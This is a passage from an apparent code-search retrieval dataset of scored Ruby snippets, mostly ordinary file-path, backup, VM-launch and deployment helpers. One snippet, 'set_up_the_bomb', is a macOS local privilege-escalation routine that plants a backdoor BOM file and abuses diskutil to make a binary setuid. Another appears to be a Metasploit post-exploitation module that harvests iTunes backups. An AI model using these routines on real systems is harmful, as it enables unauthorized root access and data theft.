#{destOrig}\n\n# Geolocation for files being renamed. Ignore for now, this is not being used. Only default is an option.\n# geoLoc.type = checkbox\n# geoLoc.label = Do_ you want to add geo location?\n# geoLoc.default = 1\n\n\n# Add a cancel button with default label\ncb.type = cancelbutton\n\nend_of_string\n\n # Set the images' paths relative to this file's path / \n # skip images if they can not be found in this file's path\n icon = File.dirname($0) << \"/.icon.png\";\n bgimg = File.dirname($0) << \"/.demo.png\";\n\n if File::exists?(icon) # Display Pashua's icon\n Config << \"img.type = image\n img.x = 530\n img.y = 255\n img.path = #{icon}\n \"\n end\n\n if File::exists?(bgimg) # Display Pashua's icon\n Config << \"bg.type = image\n bg.x = 30\n bg.y = 2\n bg.path = #{bgimg}\n \"\n end\n\n # pashuaReturn = pashua_run config\n res = pashua_run config\n return res\n \nend",
"title": ""
},
{
"docid": "724722cee36a4cb5a85e6f52dc5e1ab2",
"score": "0.46877205",
"text": "def initialize\n super\n @name = \"rum\"\n @rakefiles = DEFAULT_RAKEFILES.dup\n end",
"title": ""
},
{
"docid": "2ea423c68852303bae786ea890e11ffd",
"score": "0.46865642",
"text": "def set_root() = self.destination_root = name",
"title": ""
},
{
"docid": "3f90d00e7b81f5e66d9cba2e8811549a",
"score": "0.4678083",
"text": "def scratch_folder()\n return File.expand_path(File.join(File.dirname(__dir__), \"tmp\", \"scratch-folder-for-testing\"))\nend",
"title": ""
},
{
"docid": "c10d2f588284966c8cb5a6b9ab2e0df2",
"score": "0.4676455",
"text": "def initialize(path=nil)\n DatabaseAdmin.filepath = path\n if DatabaseAdmin.file_useable?\n puts \"*\" * 60\n output_action_header(\"** Welcome to Bangazon Command Line Ordering System **\")\n puts \"*\" * 60\n elsif DatabaseAdmin.create_file\n puts \"*\" * 60\n output_action_header(\"** Welcome to Bangazon Command Line Ordering System **\")\n puts \"*\" * 60\n else \n puts \"Exiting. \\n\\n\"\n exit!\n end\n end",
"title": ""
},
{
"docid": "672c0373a19bc3dcaa54370b080517bd",
"score": "0.46752343",
"text": "def default_workarea\n current_dir = File.expand_path('.')\n workarea = File.join(current_dir, 'docker')\n workarea = nil unless File.exist? workarea\n PrcLib.debug \"workarea => #{workarea}\"\n workarea\n end",
"title": ""
},
{
"docid": "eaaa8d4909a04c9138b849ce9313640d",
"score": "0.46746853",
"text": "def fa_file\n\t\t\"#{pre}/genome.fa\" #Genome fasta location\n\tend",
"title": ""
},
{
"docid": "509057f30070ddd1c9514aa2fe6ce095",
"score": "0.46709466",
"text": "def path\n \"#{Dir.tmpdir}/#{name}\"\n end",
"title": ""
},
{
"docid": "cdbdb83ad5a736b0711cddcde433284d",
"score": "0.466927",
"text": "def base\n result = sphere.cache_path.join('chef')\n result.mkpath\n result\n end",
"title": ""
},
{
"docid": "fa25cf3b2d5e5b709471cbf3426d1762",
"score": "0.46687946",
"text": "def create_tarball\n out_file = filename(@conference, @locale)\n if File.exist? out_file\n File.unlink out_file\n end\n system( 'tar', *['-cpz', '-f', out_file.to_s, '-C', @destination, @conference.acronym].flatten )\n out_file.to_s\n end",
"title": ""
},
{
"docid": "18727ab3ed60c4250c80c0e1083abccd",
"score": "0.46632954",
"text": "def librarian_set_tmp_directory(tmp_path)\n command = ['librarian-puppet', 'config', 'tmp', tmp_path, '--global']\n command << '--verbose' unless ENV['LIBRARIAN_VERBOSE'].nil?\n sh *command\nend",
"title": ""
},
{
"docid": "076088be55b620c5a7f17cc851fb6cf9",
"score": "0.46632364",
"text": "def initialize()\n @fan_home = ENV[\"fan_home\"]\n @fan_adm = File.join(@fan_home, \"adm\")\n @fan_bin = File.join(@fan_home, \"bin\")\n @fan_lib = File.join(@fan_home, \"lib\")\n @fan_lib_java = File.join(@fan_lib, \"java\")\n @sys_jar = File.join(@fan_lib_java, \"sys.jar\")\n @fan_lib_fan = File.join(@fan_lib, \"fan\")\n @fan_lib_net = File.join(@fan_lib, \"net\")\n @fan_src = File.join(@fan_home, \"src\")\n @src_jfan = File.join(@fan_src, \"sys\", \"java\")\n @src_nfan = File.join(@fan_src, \"sys\", \"dotnet\")\n @src_compiler = File.join(@fan_src, \"compiler\")\n\n @java_home = ENV[\"java_home\"]\n @javac = File.join(@java_home, \"bin\", \"javac.exe\")\n @jar = File.join(@java_home, \"bin\", \"jar.exe\")\n end",
"title": ""
},
{
"docid": "29eebd54188c3c5a9550b7900fc5ffbd",
"score": "0.46567985",
"text": "def setup_autoinst(autoinst)\n raise \"ERROR: #{autoinst} not found\" unless autoinst.file?\n content = File.read(autoinst)\n autoinst_vars(autoinst.sub_ext(\".vars\")).each { |k, v| content.gsub!(\"{{#{k}}}\", v) }\n content.gsub!(\"/dev/vd\", \"/dev/sd\") if provider == :virtualbox\n File.open(autoinst_path, \"w\") { |f| f.puts content }\n end",
"title": ""
},
{
"docid": "02f2c0b9e9e6fd8c2a61ec6dc8cbaf0b",
"score": "0.46563816",
"text": "def run file_name \n application = select_app file_name \n system \"#{application} #{file_name}\" \n end",
"title": ""
},
{
"docid": "af796027bd066371ce17e9aab3cbaca3",
"score": "0.46483046",
"text": "def run file_name \n\t\tapplication = select_app file_name \n\t\tsystem \"#{application} #{file_name}\" \n\tend",
"title": ""
},
{
"docid": "26e35e4eafa8d9339fc3485eb606918c",
"score": "0.46426892",
"text": "def edit_backup_info\n backup = `barman list-backup main`\n latest_backup = backup[5,15]\n backup_info = \"/data/pgbarman/barman/main/base/#{latest_backup}/backup.info\"\n text = File.read(backup_info)\n new_contents = text.gsub(/oltp/, \"db\\/barmanrestored\")\n File.open(backup_info, \"w\") {|file| file.puts new_contents }\nend",
"title": ""
},
{
"docid": "0a3618970605c4b1f0592425005d173c",
"score": "0.46424437",
"text": "def executable_path=(_arg0); end",
"title": ""
},
{
"docid": "a566e22c652f7b89fe5783ceec467e88",
"score": "0.46419588",
"text": "def live\n ensure_exists(filename)\n spin_up('live.rb', filename, argc)\n end",
"title": ""
},
{
"docid": "a566e22c652f7b89fe5783ceec467e88",
"score": "0.46419588",
"text": "def live\n ensure_exists(filename)\n spin_up('live.rb', filename, argc)\n end",
"title": ""
},
{
"docid": "158811183f71b12f400d0f8bca9f01d5",
"score": "0.46383753",
"text": "def backup_od\n begin\n \tputs \"Be sure to note this for later use.\\nPlease type a password for the OD backup:\"\n \t system \"stty -echo\"\n \t @pass = $stdin.gets.chomp\n \t system \"stty echo\"\n \trescue NoMethodError, Interrupt\n \t system \"stty echo\"\n end\n mkpassdb = \"/usr/sbin/mkpassdb\"\n tmpfile = \"/tmp/sacommands\"\n commands=[\"dirserv:backupArchiveParams:archivePassword = #{@pass}\", \"dirserv:backupArchiveParams:archivePath = #{@dest}/odbackup-#{@date}\", \"dirserv:command = backupArchive\"]\n sacommands = File.open(\"#{tmpfile}\", \"w\") do |f|\n f.puts commands.each {|command| command}\n end\n system \"/usr/sbin/serveradmin command < #{tmpfile}\"\n system \"#{mkpassdb} -backupdb #{@dest}/mkpassdb-#{@date}\"\n FileUtils.rm(tmpfile)\nend",
"title": ""
},
{
"docid": "dfc14bd7b47d6aef00972a07ac3a4638",
"score": "0.46338755",
"text": "def createArqProfiles (profiles, arq)\n\t\tFile.open(arq, 'w') do |f2|\n \t\t\tprofiles.each do | pro |\n \t\t\t\tf2.puts pro\n \t\t\t\t#f2.puts \"\\n\"\n \t\t\tend\n \t\tend\n\tend",
"title": ""
},
{
"docid": "87145a51c2d1526a65a7d068df577823",
"score": "0.46229818",
"text": "def terrafile_path\n 'Terrafile'\nend",
"title": ""
},
{
"docid": "31b3b5add35aec7fadbe2d861e0934e1",
"score": "0.46213093",
"text": "def writable_create_project(dashboard_name) \n\tscript \"create_dashing_project\" do\n\t\tinterpreter \"bash\"\n\t\tuser \"root\"\n\t\tcwd \"/home\"\n\t\tcode <<-EOH\n\t\tdashing new \"#{dashboard_name}\"\n\t\tchmod 777 \"#{dashboard_name}\"\n\t\tcd \"#{dashboard_name}\"\n\t\tEOH\n\tend\n\tChef::Log.info \"#{dashboard_name} dashboard project created\"\n\nend",
"title": ""
},
{
"docid": "0154f288f8f37ef39b6445d8610a15f6",
"score": "0.461937",
"text": "def archive_home_directory( username )\n\t\tself.log.info \"Archiving home directory for %p\" % [ username ]\n\t\thomedir = HOMEDIR_BASE + username\n\t\tarchivedir = ARCHIVE_BASE + username\n\t\traise \"#{username}: no current home directory\" unless homedir.exist?\n\t\traise \"#{username}: already has an archived home\" if archivedir.exist?\n\n\t\tFileUtils.mv( homedir, archivedir )\n\tend",
"title": ""
},
{
"docid": "34ca8f5b144a18e98c5e206dd35bdb94",
"score": "0.46165398",
"text": "def restore_archive\n end",
"title": ""
},
{
"docid": "eb307b69454be8b79628442f296bdcc8",
"score": "0.46160454",
"text": "def autostart; end",
"title": ""
},
{
"docid": "2fc7b45bd71c3ea642d877f4d135df5a",
"score": "0.46145812",
"text": "def configure_name(interface)\n interface ||= \"127.0.0.1\"\n vm[\"-name\"] ||= configuration[:name] || \"riak#{rand(1000000).to_s}@#{interface}\"\n vm[\"-setcookie\"] ||= configuration[:cookie] || \"#{rand(100000).to_s}_#{rand(1000000).to_s}\"\n end",
"title": ""
},
{
"docid": "ac6fffe1e6793aee2c646e86d7a172b2",
"score": "0.46126312",
"text": "def lotemix_tempdir\n if File.exist?('/dev/null') #si es linux\n tf = \"/tmp/lotfiles/\"\n else\n tf = 'c:\\\\temp\\\\'\n end\n\tif not File.exist?(tf)\n FileUtils.mkdir(tf)\n end\n\n return tf \n end",
"title": ""
},
{
"docid": "610f4731e158a53d9b5ca0f5594e5fb2",
"score": "0.46103275",
"text": "def saveMuConfig(cfg)\n home = Etc.getpwuid(Process.uid).dir\n username = Etc.getpwuid(Process.uid).name\n cfg_file = \"/opt/mu/etc/mu.yaml\"\n if Process.uid == 0\n cfg_file = ENV['MU_INSTALLDIR']+\"/etc/mu.yaml\" if ENV.include?('MU_INSTALLDIR')\n else\n cfg_file = \"#{home}/.mu.yaml\"\n end\n puts \"**** Saving master config to #{cfg_file} *****\"\n File.open(cfg_file, File::CREAT|File::TRUNC|File::RDWR, 0644){ |f|\n f.puts cfg.to_yaml\n }\nend",
"title": ""
},
{
"docid": "3fe29a4351e040e44875772758a66c1a",
"score": "0.46095943",
"text": "def set_up_the_bomb()\r\n puts \"++ Preparing to overwrite (#{BOMARCHIVE_PATH})\"\r\n \r\n # Back-up the original Archive.bom, set mode to 777\r\n if FileTest.writable?(BOMARCHIVE_PATH)\r\n backup_path = File.join(\"/tmp\", File.basename(BOMARCHIVE_PATH))\r\n \r\n unless FileTest.exists?(backup_path)\r\n puts \"++ Creating backup copy at #{backup_path}\"\r\n FileUtils.cp BOMARCHIVE_PATH, backup_path\r\n end\r\n \r\n puts \"++ Removing original file.\"\r\n FileUtils.rm_f BOMARCHIVE_PATH\r\n \r\n puts \"++ Writing backdoor BOM file.\"\r\n target_bom = File.new(BOMARCHIVE_PATH, \"w\")\r\n target_bom.write(TEH_EVIL_BOM)\r\n target_bom.close\r\n puts \"++ Done.\"\r\n else\r\n puts \"-- Can't write to '#{BOMARCHIVE_PATH}. No pwnage for you today.\"\r\n exit\r\n end\r\n \r\n # Back-up the target backdoor path\r\n unless FileTest.exists?(TARGET_BACKUP_PATH)\r\n puts \"++ Creating backup copy of #{TARGET_BINARY} at #{TARGET_BACKUP_PATH}\"\r\n FileUtils.cp TARGET_BINARY, TARGET_BACKUP_PATH\r\n end\r\n \r\n # Let diskutil do it's job (set permissions over target binary path, setuid)\r\n puts \"++ Running diskutil to set the new permissions for the backdoor...\"\r\n fork do\r\n exec \"#{DISKUTIL_PATH} repairPermissions /\"\r\n end\r\n Process.wait\r\n \r\n puts \"++ Somebody set up us the bomb!\"\r\n exploit_bomb()\r\nend",
"title": ""
},
{
"docid": "c573b729b21e3558ff5698e2a503176f",
"score": "0.46087855",
"text": "def start(filename)\n return false unless conf_load(filename)==true\n kernel_module_start\n bridge_start\n `#{@mkdir} #{PIDDIR}` unless File.exist?(PIDDIR)\n \n #net nic\n macaddress=\",macaddr=\"+@conf[\"macaddress\"] if @conf.include?(\"macaddress\")\n model=\",model=\"+@conf[\"model\"] if @conf.include?(\"model\")\n vlan=\"\" # TODO remove this line, use the line below\n #vlan=\",vlan=\"+@conf[\"vlan\"] if @conf.include?(\"vlan\")\n #nic=\"-net nic\"+@conf[\"nic\"]+macaddress.to_s+vlan.to_s #if @conf.include?(\"nic\")\n nic=\"-net nic\"+macaddress.to_s+model.to_s+vlan.to_s\n \n #net tap\n ifname=\",ifname=\"+@conf[\"ifname\"] if @conf.include?(\"ifname\")\n script=\",script=\"+@conf[\"script\"]if @conf.include?(\"script\")\n tap=\"-net \"+@conf[\"tap\"]+ifname.to_s+script.to_s+vlan.to_s if @conf.include?(\"tap\")\n \n hda=\"-hda \"+@conf[\"hda\"]\n hdb=\"-hdb \"+@conf[\"hdb\"] if @conf.include?(\"hdb\")\n hdc=\"-hdc \"+@conf[\"hdc\"] if @conf.include?(\"hdc\")\n hdd=\"-hdd \"+@conf[\"hdd\"] if @conf.include?(\"hdd\")\n boot=\"-boot \"+@conf[\"boot\"]\n cdrom=\"-cdrom \"+@conf[\"cdrom\"] if @conf.include?(\"cdrom\")\n cpus=\"-smp \"+@conf[\"cpus\"] if @conf.include?(\"cpus\")\n vnc_port=\" -vnc :\"+@conf[\"id\"] if @conf.include?(\"id\") && @conf[\"display\"]==\"vnc\"\n keyboard=\"-k \"+@conf[\"keyboard\"] if @conf.include?(\"keyboard\")\n soundhw=\"-soundhw \"+@conf[\"soundhw\"] if @conf.include?(\"soundhw\")\n daemonize=\"-daemonize\" if @conf.include?(\"daemonize\") && (@conf[\"daemonize\"]==\"true\" || @conf[\"daemonize\"].to_i==1)\n #later other usb devices can be added, the -usb activate the usb driver\n if @conf[\"display\"]!=\"sdl\"\n usb=\"-usb \"\n usbdevice=\"-usbdevice \"+@conf[\"mouse\"]\n end\n pidfile = \"-pidfile #{get_pidfile(filename)}\"\n mem = \"-m \" + @conf[\"mem\"] if @conf.include?(\"mem\")\n noacpi = \"-no-acpi\" if @conf.include?(\"noacpi\") && @conf[\"noacpi\"] =~ /no/i\n nographic = \"-nographic\" if @conf.include?(\"graphic\") && @conf[\"graphic\"] =~ /no/i\n monitor = \"-monitor telnet:127.0.0.1:#{@conf[\"monitor_port\"]},server,nowait\" if @conf[\"monitor_redirect\"]!=\"false\" && @conf.include?(\"monitor_port\")\n #puts vnc_port\n #exit\n \n command=\"#{@qemu} #{mem} #{hda} #{hdb} #{hdc} #{hdd} #{cdrom} #{boot} #{nic} #{tap} #{cpus} #{vnc_port} #{daemonize} #{keyboard} #{soundhw} #{usb} #{usbdevice} #{pidfile} #{monitor} #{noacpi} #{nographic}\"\n puts command if @verbose\n # Starts KVM\n `#{command}`\n # Was system call successful?\n #http://ruby-doc.org/core/classes/Kernel.html#M005971\n if $?.success?\n # TODO: check this\n # Running after hooks (system commands)\n `#{@conf[\"after_hooks\"]}`\n\n # Sets cpulimit on KVM instance if required by config\n set_cpulimit(filename, @conf[\"cpulimit\"]) if @conf.include?(\"cpulimit\") && @conf[\"cpulimit\"].to_f > 0\n end\n end",
"title": ""
},
{
"docid": "08ea758eefb8d71132bfa55cab7ef8ec",
"score": "0.46086544",
"text": "def setup(*_)\n require 'reaper-man'\n location = ReaperMan::Signer::HELPER_COMMAND\n if(location.include?('jar!'))\n tmp_file = Tempfile.new('reaper-man')\n new_location = File.join(Dir.home, File.basename(tmp_file.path))\n tmp_file.delete\n File.open(new_location, 'w') do |file|\n file.puts File.read(location)\n end\n File.chmod(0755, new_location)\n ReaperMan::Signer.send(:remove_const, :HELPER_COMMAND)\n ReaperMan::Signer.const_set(:HELPER_COMMAND, new_location)\n warn \"Updated ReaperMan utility script location: #{new_location}\"\n end\n end",
"title": ""
},
{
"docid": "b2a679d2ea5e18c92b688ea221f44729",
"score": "0.46048325",
"text": "def path(k)\n case k\n when :ascp,:ascp4\n use_ascp_from_product(FIRST_FOUND) if @path_to_ascp.nil?\n file=@path_to_ascp\n # note that there might be a .exe at the end\n file=file.gsub('ascp','ascp4') if k.eql?(:ascp4)\n when :ssh_bypass_key_dsa\n file=File.join(folder_path,'aspera_bypass_dsa.pem')\n File.write(file,get_key('dsa',1)) unless File.exist?(file)\n File.chmod(0400,file)\n when :ssh_bypass_key_rsa\n file=File.join(folder_path,'aspera_bypass_rsa.pem')\n File.write(file,get_key('rsa',2)) unless File.exist?(file)\n File.chmod(0400,file)\n when :aspera_license\n file=File.join(folder_path,'aspera-license')\n File.write(file,Base64.strict_encode64(\"#{Zlib::Inflate.inflate(DataRepository.instance.get_bin(6))}==SIGNATURE==\\n#{Base64.strict_encode64(DataRepository.instance.get_bin(7))}\")) unless File.exist?(file)\n File.chmod(0400,file)\n when :aspera_conf\n file=File.join(folder_path,'aspera.conf')\n File.write(file,%Q{<?xml version='1.0' encoding='UTF-8'?>\n<CONF version=\"2\">\n<default>\n <file_system>\n <storage_rc>\n <adaptive>\n true\n </adaptive>\n </storage_rc>\n <resume_suffix>.aspera-ckpt</resume_suffix>\n <partial_file_suffix>.partial</partial_file_suffix>\n <replace_illegal_chars>_</replace_illegal_chars>\n </file_system>\n</default>\n</CONF>\n}) unless File.exist?(file)\n File.chmod(0400,file)\n when :fallback_cert,:fallback_key\n file_key=File.join(folder_path,'aspera_fallback_key.pem')\n file_cert=File.join(folder_path,'aspera_fallback_cert.pem')\n if !File.exist?(file_key) or !File.exist?(file_cert)\n require 'openssl'\n # create new self signed certificate for http fallback\n private_key = OpenSSL::PKey::RSA.new(1024)\n cert = OpenSSL::X509::Certificate.new\n cert.subject = cert.issuer = OpenSSL::X509::Name.parse(\"/C=US/ST=California/L=Emeryville/O=Aspera Inc./OU=Corporate/CN=Aspera Inc./emailAddress=info@asperasoft.com\")\n cert.not_before = Time.now\n cert.not_after = Time.now + 365 * 24 * 60 * 60\n cert.public_key = private_key.public_key\n cert.serial = 0x0\n cert.version = 2\n cert.sign(private_key, OpenSSL::Digest::SHA1.new)\n File.write(file_key,private_key.to_pem)\n File.write(file_cert,cert.to_pem)\n File.chmod(0400,file_key)\n File.chmod(0400,file_cert)\n end\n file = k.eql?(:fallback_cert) ? file_cert : file_key\n else\n raise \"INTERNAL ERROR: #{k}\"\n end\n raise \"no such file: #{file}\" unless File.exist?(file)\n return file\n end",
"title": ""
},
{
"docid": "df22e2e13c996c287477a3299f792c97",
"score": "0.45974588",
"text": "def slave_jar\n ::File.join(Chef::Config[:file_cache_path], 'slave.jar')\n end",
"title": ""
},
{
"docid": "bb48bf67593b8a0cfa94b26685e14842",
"score": "0.4593619",
"text": "def store_dir\n 'system/avatars'\n end",
"title": ""
},
{
"docid": "25c8afd2f662874e17fe57e5593e66da",
"score": "0.45934394",
"text": "def init\n return if File.exists? data_path\n if parent.nil?\n Rugged::Repository.init_at barerepopath, :bare\n Rugged::Repository.clone_at barerepopath, satelliterepopath\n else # it's a fork, therefore:\n Rugged::Repository.init_at barerepopath, :bare\n Rugged::Repository.clone_at parent.satelliterepopath, satelliterepopath\n end\n FileUtils.mkdir_p thumbnail_for('', true)\n pushtobare unless satelliterepo.empty?\n end",
"title": ""
},
{
"docid": "566bc0ebdb3a068e9a4fddc1ff2d38c4",
"score": "0.45921108",
"text": "def wRestoreDump()\n puts \"Back up commencing...\"\n Dir.chdir('/Users/jeydurai')\n system('start_mongorestore.bat')\n end",
"title": ""
},
{
"docid": "21c27b25261cc405277f9b3fe11a5756",
"score": "0.45915982",
"text": "def create_backdat_file\n puts \"Creating backdat file\"\n end",
"title": ""
},
{
"docid": "3a2ae768074e63c6e4178abe19ef160e",
"score": "0.45912185",
"text": "def setup!(delete=true)\n FileUtils.rm_rf(@root_dir) if File.exist?(@root_dir) and delete\n FileUtils.mkdir_p(@root_dir)\n FileUtils.mkdir_p(@files_dir)\n FileUtils.mkdir_p(@queues_dir)\n FileUtils.mkdir_p(@logs_dir)\n FileUtils.mkdir_p(@current_queue_dir)\n FileUtils.mkdir_p(@next_queue_dir)\n\n File.open(@error_log, 'w+') {|f|}\n File.open(@action_log, 'w+') {|f|}\n\n # the queue_version file contains the number of\n # switches from current->next queue.\n File.open(@queue_version, 'w+') {|f| f.puts \"0\"}\n end",
"title": ""
},
{
"docid": "cac13aa1055320fcb233ab8d2ba998e6",
"score": "0.45908064",
"text": "def pack\n #Throw the postflight script into the Scripts directory\n safe_system(\"sudo #{INSTALL} -m 0755 postflight #{@working_tree['SCRIPT_D']}\")\n safe_system(\"sudo #{INSTALL} -m 0755 Welcome.txt #{@working_tree['RESOURCE_D']}\")\nend",
"title": ""
},
{
"docid": "2128694582ea62f9e3fdd44918c7f014",
"score": "0.4589887",
"text": "def configure_tmp_directory\n if ENV['USER'] == 'vagrant'\n injection = \"\\n # Relocate RAILS_TMP\"\n injection += \"\\n config.assets.configure do |env|\"\n injection += \"\\n env.cache = Sprockets::Cache::FileStore.new(\"\n injection += \"\\n ENV['RAILS_TMP'] + '/cache/assets'\"\n injection += \"\\n )\"\n injection += \"\\n end if ENV['RAILS_TMP']\"\n\n inject_into_file 'config/application.rb', after: '# -- all .rb files in that directory are automatically loaded.' do\n injection\n end\n # assumes use of rbenv\n run 'touch .rbenv-vars'\n run 'echo \"RAILS_TMP=/tmp\" >> .rbenv-vars'\n run 'rbenv vars'\n end\n end",
"title": ""
},
{
"docid": "2deee3f80d2183b2c2486387cee48605",
"score": "0.4588904",
"text": "def run_saikuro_task\n dirs = %w(bin lib test).find_all { |dir| File.exist?(dir) }\n system(\"saikuro -c -t -y 0 -e 10 -o saikuro/ -i #{dirs.join(' -i ')} > /dev/null\")\n result = File.read(\"saikuro/index_cyclo.html\")\n raise \"Saikuro found complicated code.\" if result.include?(\"Errors and Warnings\")\n end",
"title": ""
},
{
"docid": "4fe1f435913060ceef6e5665ec9d6522",
"score": "0.45877385",
"text": "def xRestoreDump()\n puts \"Back up commencing...\"\n Dir.chdir('/Users/jeydurai')\n system('start_mongorestore.bat')\n end",
"title": ""
},
{
"docid": "b2c1d30fe14010926610b391170d662f",
"score": "0.45849857",
"text": "def sub_dir\n dir_name = \"Archive #{@t.month}-#{@t.day}-#{@t.year}\"\n sub_dir_name = \"#{@archive_folder}/#{dir_name}\"\n\n Dir.mkdir(sub_dir_name) unless Dir.exist?(sub_dir_name)\n return sub_dir_name\nend",
"title": ""
},
{
"docid": "7bc3d4428fb21f1e8cd7c211507486cf",
"score": "0.4583432",
"text": "def create\n tmp = Puppet::FileSystem::Uniquefile.new('quobyte_volume_config')\n tmp.write(resource[:content])\n tmp.flush()\n\n qmgmt(['volume', 'config', 'import', [resource[:name]], tmp.path])\n end",
"title": ""
},
{
"docid": "e3951c022f6ab0b239c10498048729a9",
"score": "0.45812348",
"text": "def load!\n plug_path = \"#{path}/plugins\"\n unless File.directory?(plug_path)\n FileUtils.mkdir_p(plug_path)\n end\n for folder in [\"base\", load_path]\n FileUtils.copy_entry(\"/data/servers/#{folder}\", \"#{path}\")\n end\n remote_files.each do |file|\n FileUtils.copy_entry(file[:source], \"#{path}/#{file[:destination]}\")\n end\n plugins.each do |plugin|\n Plugin.new(plugin[:name]).load_and_save!(\n \"/data/plugins/#{plugins_path}\",\n plugin[:jar_path],\n \"#{path}/plugins\"\n )\n end\n unless components.empty?\n comp_path = \"#{path}/plugins/GameManager/components/\"\n unless File.directory?(comp_path)\n FileUtils.mkdir_p(comp_path)\n end\n components.each do |component|\n FileUtils.copy_entry(component[:path], \"#{path}/plugins/GameManager/components/#{component[:name]}.jar\")\n end\n end\n env.each{|k,v| Env.set(k, v.to_s, true)}\n for file in [\"yml\", \"yaml\", \"json\", \"properties\"].flat_map{|ext| Dir.glob(\"#{path}/**/*.#{ext}\")}\n data = Env.substitute(File.read(file))\n File.open(file, \"w\") do |f|\n f.write(data)\n end\n end\n end",
"title": ""
},
{
"docid": "4e9945bf27835ec54db640d2800c5466",
"score": "0.45783797",
"text": "def exec; end",
"title": ""
},
{
"docid": "4e9945bf27835ec54db640d2800c5466",
"score": "0.45783797",
"text": "def exec; end",
"title": ""
},
{
"docid": "d45cfd38bb3830ccd733bba49b000bbe",
"score": "0.45762566",
"text": "def run\n\t\tcase session.platform\n\t\twhen /osx/\n\t\t\t@platform = :osx\n\t\t\tpaths = enum_users_unix\n\t\twhen /win/\n\t\t\t@platform = :windows\n\t\t\tdrive = session.fs.file.expand_path(\"%SystemDrive%\")\n\t\t\tos = session.sys.config.sysinfo['OS']\n\n\t\t\tif os =~ /Windows 7|Vista|2008/\n\t\t\t\t@appdata = '\\\\AppData\\\\Roaming'\n\t\t\t\t@users = drive + '\\\\Users'\n\t\t\telse\n\t\t\t\t@appdata = '\\\\Application Data'\n\t\t\t\t@users = drive + '\\\\Documents and Settings'\n\t\t\tend\n\n\t\t\tif session.type != \"meterpreter\"\n\t\t\t\tprint_error \"Only meterpreter sessions are supported on windows hosts\"\n\t\t\t\treturn\n\t\t\tend\n\t\t\tpaths = enum_users_windows\n\t\telse\n\t\t\tprint_error \"Unsupported platform #{session.platform}\"\n\t\t\treturn\n\t\tend\n\n\t\tif paths.empty?\n\t\t\tprint_status(\"No users found with an iTunes backup directory\")\n\t\t\treturn\n\t\tend\n\n\t\tprocess_backups(paths)\n\tend",
"title": ""
},
{
"docid": "258fab3d67687ae8d5bb482e3915c340",
"score": "0.45760733",
"text": "def terraform_docs_bin\n @terraform_docs_bin ||= ::File.join(bin_root, \"#{terraform_docs_name}-#{terraform_docs_version}\" ,terraform_docs_name)\n end",
"title": ""
},
{
"docid": "60bce4c56f7958987674b9e688222124",
"score": "0.4571866",
"text": "def hausfile type = :file\n mkdir_p etc\n\n src_dst = Dir.chdir etc do\n case type\n when :file\n f = randstr\n touch f\n [File.expand_path(f), dot(f)]\n when :dir\n d = randstr\n f = File.join d, randstr\n mkdir d\n touch f\n [File.expand_path(d), dot(d)]\n when :hier\n d = '_' + randstr\n f = File.join d, randstr\n mkdir d\n touch f\n dst = File.join dir, d.sub(/\\A_/, '.'), File.basename(f)\n garbage.push File.dirname(dst) # Explicitly remove parent\n [File.expand_path(f), dst]\n when :link\n f = randstr\n ln_s Dir['/etc/*'].select { |e| File.file? e and File.readable? e }.sort_by { rand }.first, f\n [File.expand_path(f), dot(f)]\n else raise ArgumentError\n end\n end\n\n @hausfiles.concat src_dst\n\n unless @exit_hook_installed\n pid = $$\n at_exit { clean if $$ == pid }\n @exit_hook_installed = true\n end\n\n src_dst\n end",
"title": ""
},
{
"docid": "b0721cfabbb5578372c6dd1f824466ab",
"score": "0.45627636",
"text": "def test_autoload\n with_fixture 'autoload' do\n assert system(\"ruby\", ocra, \"autoload.rb\", *DefaultArgs)\n assert File.exist?(\"autoload.exe\")\n File.unlink('foo.rb')\n assert system(\"autoload.exe\")\n end\n end",
"title": ""
},
{
"docid": "81263ca245148348f1b20d579b3a385a",
"score": "0.4561702",
"text": "def backup_config_file\n File.join(source_directory,'installer','rails_installer_defaults.yml')\n end",
"title": ""
},
{
"docid": "bdaf2bdb1d97d30b85c1b2fd1e5a4dc5",
"score": "0.4560955",
"text": "def test_tar_from_backuprc\n assert_equal('gnutar', config('TAR'))\n end",
"title": ""
},
{
"docid": "32e7c545188e63f8737b048ff8b3ee26",
"score": "0.4555411",
"text": "def setup_path\n # The Java Buildpack for WLS creates the complete domain structure and other linkages during staging.\n # The directory used for staging is at /tmp/staged/app\n # But the actual DEA execution occurs at /home/vcap/app. This discrepancy can result in broken paths and non-startup of the server.\n # So create linkage from /tmp/staged/app to actual environment of /home/vcap/app when things run in real execution\n # Also, this script needs to be invoked before starting the server as it will create the links and also tweak the server args\n # (to listen on correct port, use user supplied jvm args)\n\n File.open(@application.root.to_s + '/' + SETUP_ENV_SCRIPT, 'w') do |f|\n\n f.puts '#!/bin/sh '\n f.puts '# There are 4 things handled by this script '\n f.puts ' '\n f.puts '# 1. Create links to mimic staging env and update scripts with jvm options '\n f.puts '# The Java Buildpack for WLS creates complete domain structure and other linkages during staging at '\n f.puts '# /tmp/staged/app location '\n f.puts '# But the actual DEA execution occurs at /home/vcap/app. '\n f.puts '# This discrepancy can result in broken paths and non-startup of the server. '\n f.puts '# So create linkage from /tmp/staged/app to actual environment of /home/vcap/app when things run in real execution '\n f.puts '# Create paths that match the staging env, as otherwise scripts will break!! '\n f.puts ' '\n f.puts 'if [ ! -d \\\"/tmp/staged\\\" ]; then '\n f.puts ' /bin/mkdir /tmp/staged '\n f.puts 'fi; '\n f.puts 'if [ ! -d \\\"/tmp/staged/app\\\" ]; then '\n f.puts ' /bin/ln -s `pwd` /tmp/staged/app '\n f.puts 'fi; '\n f.puts ' '\n f.puts ' '\n end\n end",
"title": ""
},
{
"docid": "c7ff8f94eeb1715ed5b4abd8b6d70ad8",
"score": "0.45499986",
"text": "def cache_dir\n Padrino.root(\"tmp\")\n end",
"title": ""
},
{
"docid": "c7ff8f94eeb1715ed5b4abd8b6d70ad8",
"score": "0.45499986",
"text": "def cache_dir\n Padrino.root(\"tmp\")\n end",
"title": ""
},
{
"docid": "75c301afd380c7cdf96f9b6a9e8d8e6d",
"score": "0.45493817",
